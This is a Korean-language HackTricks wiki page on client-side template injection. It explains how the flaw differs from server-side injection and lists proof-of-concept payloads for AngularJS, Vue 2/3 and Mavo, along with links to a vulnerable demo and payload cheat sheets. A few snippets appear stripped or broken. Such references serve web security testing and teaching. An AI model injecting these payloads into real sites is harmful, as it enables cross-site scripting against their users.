# Client Side Template Injection (CSTI) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} #### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io)λŠ” **닀크 μ›Ή** 기반의 검색 μ—”μ§„μœΌλ‘œ, κΈ°μ—…μ΄λ‚˜ 고객이 **νƒˆμ·¨ μ•…μ„±μ½”λ“œ**에 μ˜ν•΄ **μΉ¨ν•΄**λ˜μ—ˆλŠ”μ§€ 확인할 수 μžˆλŠ” **무료** κΈ°λŠ₯을 μ œκ³΅ν•©λ‹ˆλ‹€. WhiteIntel의 μ£Όμš” λͺ©ν‘œλŠ” 정보 νƒˆμ·¨ μ•…μ„±μ½”λ“œλ‘œ μΈν•œ 계정 νƒˆμ·¨ 및 λžœμ„¬μ›¨μ–΄ 곡격에 λ§žμ„œ μ‹Έμš°λŠ” κ²ƒμž…λ‹ˆλ‹€. κ·Έλ“€μ˜ μ›Ήμ‚¬μ΄νŠΈλ₯Ό ν™•μΈν•˜κ³  **무료**둜 엔진을 μ‚¬μš©ν•΄ λ³Ό 수 μžˆμŠ΅λ‹ˆλ‹€: {% embed url="https://whiteintel.io" %} *** ## Summary 이것은 [**μ„œλ²„ μ‚¬μ΄λ“œ ν…œν”Œλ¦Ώ μΈμ μ…˜**](ssti-server-side-template-injection/)κ³Ό λΉ„μŠ·ν•˜μ§€λ§Œ **ν΄λΌμ΄μ–ΈνŠΈ**μ—μ„œ λ°œμƒν•©λ‹ˆλ‹€. **SSTI**λŠ” 원격 μ„œλ²„μ—μ„œ **μ½”λ“œ μ‹€ν–‰**을 ν—ˆμš©ν•  수 μžˆμ§€λ§Œ, **CSTI**λŠ” ν”Όν•΄μžμ˜ λΈŒλΌμš°μ €μ—μ„œ **μž„μ˜μ˜ JavaScript** μ½”λ“œλ₯Ό μ‹€ν–‰ν•  수 있게 ν•©λ‹ˆλ‹€. 이 취약점을 **ν…ŒμŠ€νŠΈ**ν•˜λŠ” 것은 **SSTI**의 κ²½μš°μ™€ 맀우 **μœ μ‚¬**ν•˜λ©°, μΈν„°ν”„λ¦¬ν„°λŠ” **ν…œν”Œλ¦Ώ**을 κΈ°λŒ€ν•˜κ³  이λ₯Ό μ‹€ν–‰ν•©λ‹ˆλ‹€. 예λ₯Ό λ“€μ–΄, `{{ 7-7 }}`와 같은 νŽ˜μ΄λ‘œλ“œλ₯Ό μ‚¬μš©ν–ˆμ„ λ•Œ, 앱이 **μ·¨μ•½**ν•˜λ‹€λ©΄ `0`이 ν‘œμ‹œλ˜κ³ , 그렇지 μ•Šλ‹€λ©΄ μ›λž˜μ˜ `{{ 7-7 }}`κ°€ ν‘œμ‹œλ©λ‹ˆλ‹€. ## AngularJS AngularJSλŠ” **`ng-app`**으둜 μ•Œλ €μ§„ 속성을 톡해 HTMLκ³Ό μƒν˜Έμž‘μš©ν•˜λŠ” 널리 μ‚¬μš©λ˜λŠ” JavaScript ν”„λ ˆμž„μ›Œν¬μž…λ‹ˆλ‹€. 이 μ§€μ‹œμ–΄λŠ” AngularJSκ°€ HTML μ½˜ν…μΈ λ₯Ό μ²˜λ¦¬ν•  수 있게 ν•˜μ—¬, μ€‘κ΄„ν˜Έ μ•ˆμ— μžˆλŠ” JavaScript ν‘œν˜„μ‹μ„ μ‹€ν–‰ν•  수 있게 ν•©λ‹ˆλ‹€. μ‚¬μš©μž μž…λ ₯이 `ng-app`으둜 νƒœκ·Έλœ HTML 본문에 λ™μ μœΌλ‘œ μ‚½μž…λ˜λŠ” μ‹œλ‚˜λ¦¬μ˜€μ—μ„œλŠ” μž„μ˜μ˜ JavaScript μ½”λ“œλ₯Ό μ‹€ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŠ” μž…λ ₯ λ‚΄μ—μ„œ AngularJS의 ꡬ문을 ν™œμš©ν•˜μ—¬ 달성할 수 μžˆμŠ΅λ‹ˆλ‹€. μ•„λž˜λŠ” JavaScript μ½”λ“œλ₯Ό μ‹€ν–‰ν•˜λŠ” 방법을 λ³΄μ—¬μ£ΌλŠ” μ˜ˆμ‹œμž…λ‹ˆλ‹€: ```javascript {{$on.constructor('alert(1)')()}} {{constructor.constructor('alert(1)')()}}
``` 당신은 **AngularJS**의 취약점에 λŒ€ν•œ 맀우 **기본적인 온라인 예제**λ₯Ό [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)와 [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)μ—μ„œ 찾을 수 μžˆμŠ΅λ‹ˆλ‹€. {% hint style="danger" %} [**Angular 1.6은 μƒŒλ“œλ°•μŠ€λ₯Ό μ œκ±°ν–ˆμŠ΅λ‹ˆλ‹€**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) κ·Έλž˜μ„œ 이 λ²„μ „λΆ€ν„°λŠ” `{{constructor.constructor('alert(1)')()}}` λ˜λŠ” ``와 같은 νŽ˜μ΄λ‘œλ“œκ°€ μž‘λ™ν•΄μ•Ό ν•©λ‹ˆλ‹€. {% endhint %} ## VueJS 당신은 [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)μ—μ„œ **μ·¨μ•½ν•œ Vue** κ΅¬ν˜„μ„ 찾을 수 μžˆμŠ΅λ‹ˆλ‹€.\ μž‘λ™ν•˜λŠ” νŽ˜μ΄λ‘œλ“œ: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D) 그리고 μ·¨μ•½ν•œ 예제의 **μ†ŒμŠ€ μ½”λ“œ**λŠ” μ—¬κΈ°μ—μ„œ 확인할 수 μžˆμŠ΅λ‹ˆλ‹€: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example) ```markup ">
aaa
``` A really good post on CSTI in VUE can be found in [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) ### **V3** ``` {{_openBlock.constructor('alert(1)')()}} ``` Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) ### **V2** ``` {{constructor.constructor('alert(1)')()}} ``` Credit: [Mario Heiderich](https://twitter.com/cure53berlin) **더 λ§Žμ€ VUE νŽ˜μ΄λ‘œλ“œλ₯Ό ν™•μΈν•˜μ„Έμš”** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected) ## Mavo Payload: ``` [7*7] [(1,alert)(1)]
{{top.alert(1)}}
[self.alert(1)] javascript:alert(1)%252f%252f..%252fcss-images [Omglol mod 1 mod self.alert (1) andlol] [''=''or self.alert(lol)] test
lolxself.alert('lol')lolx
test [self.alert(1)mod1] ``` **더 λ§Žμ€ νŽ˜μ΄λ‘œλ“œλŠ”** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations) ## **브루트포슀 탐지 λͺ©λ‘** {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} #### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io)λŠ” **닀크웹** 기반의 검색 μ—”μ§„μœΌλ‘œ, κΈ°μ—…μ΄λ‚˜ 고객이 **μŠ€ν‹ΈλŸ¬ 맬웨어**에 μ˜ν•΄ **μΉ¨ν•΄**λ˜μ—ˆλŠ”μ§€ 확인할 수 μžˆλŠ” **무료** κΈ°λŠ₯을 μ œκ³΅ν•©λ‹ˆλ‹€. WhiteIntel의 μ£Όμš” λͺ©ν‘œλŠ” 정보 νƒˆμ·¨ λ§¬μ›¨μ–΄λ‘œ μΈν•œ 계정 νƒˆμ·¨ 및 λžœμ„¬μ›¨μ–΄ 곡격에 λ§žμ„œ μ‹Έμš°λŠ” κ²ƒμž…λ‹ˆλ‹€. κ·Έλ“€μ˜ μ›Ήμ‚¬μ΄νŠΈλ₯Ό ν™•μΈν•˜κ³  **무료**둜 엔진을 μ‚¬μš©ν•΄ λ³Ό 수 μžˆμŠ΅λ‹ˆλ‹€: {% embed url="https://whiteintel.io" %} {% hint style="success" %} AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks μ§€μ›ν•˜κΈ° * [**ꡬ독 κ³„νš**](https://github.com/sponsors/carlospolop) ν™•μΈν•˜κΈ°! * **πŸ’¬ [**Discord κ·Έλ£Ή**](https://discord.gg/hRep4RUj7f) λ˜λŠ” [**ν…”λ ˆκ·Έλž¨ κ·Έλ£Ή**](https://t.me/peass)에 μ°Έμ—¬ν•˜κ±°λ‚˜ **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**λ₯Ό νŒ”λ‘œμš°ν•˜μ„Έμš”.** * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) κΉƒν—ˆλΈŒ 리포에 PR을 μ œμΆœν•˜μ—¬ ν•΄ν‚Ή νŒμ„ κ³΅μœ ν•˜μ„Έμš”.**
{% endhint %}